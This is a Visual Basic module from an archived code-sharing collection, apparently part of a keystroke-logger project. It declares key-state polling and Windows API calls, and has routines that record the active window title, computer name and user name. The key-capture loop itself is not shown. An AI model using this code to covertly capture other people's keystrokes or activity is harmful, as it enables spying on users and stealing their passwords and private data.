home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 1_2002.ISO / Data / Zips / CODE_UPLOAD3240242000.psc / Keystroke.bas next >
Encoding:
BASIC Source File  |  1999-11-28  |  2.5 KB  |  61 lines

  1. Attribute VB_Name = "Module1"
  2. Declare Function WriteFileNO Lib "kernel32.dll" Alias "WriteFile" (ByVal hfile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
  3. Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  4. Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
  5. Declare Function SystemParametersInfo Lib "user32.dll" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uiParam As Long, pvParam As Any, ByVal fWinIni As Long) As Long
  6. Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
  7. Declare Function GetComputerName Lib "kernel32.dll" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
  8. Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
  9. Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  10. Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  11. Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  12. Public Const SPI_SCREENSAVERRUNNING = 97
  13.  
  14. Type OSVERSIONINFO
  15.   dwOSVersionInfoSize As Long
  16.   dwMajorVersion As Long
  17.   dwMinorVersion As Long
  18.   dwBuildNumber As Long
  19.   dwPlatformId As Long
  20.   szCSDVersion As String * 128
  21. End Type
  22.  
  23. Global texxt As String
  24. Global word As String
  25. Global Wintext As String
  26.  
  27. Public Function ascc(texxt As String)
  28. word = Replace(texxt, vbNull, "", 1, -1, vbTextCompare)
  29. End Function
  30.  
  31. Public Function getwindow()
  32. Dim m
  33. Dim n
  34. Dim hforewnd As Long
  35. Dim slength As Long
  36. Dim retval As Long
  37. hforewnd = GetForegroundWindow()
  38. slength = GetWindowTextLength(hforewnd) + 1
  39. Wintext = Space(slength)
  40. retval = GetWindowText(hforewnd, Wintext, slength)
  41. Wintext = Left(Wintext, slength - 1)
  42.  
  43. End Function
  44.  
  45.  
  46. Public Function getnames()
  47. Dim compname As String, retval As Long
  48. compname = Space(255)
  49. retval = GetComputerName(compname, 255)
  50. compname = Left(compname, InStr(compname, vbNullChar) - 1)
  51. Keystroke.Label2.Caption = "Computer Name:           " & compname
  52. Dim username As String
  53. Dim slength As Long
  54. username = Space(255)
  55. slength = 255
  56. retval = GetUserName(username, slength)
  57. username = Left(username, slength - 1)
  58. Keystroke.Label1.Caption = "Logged In As:               " & username
  59. End Function
  60.  
  61.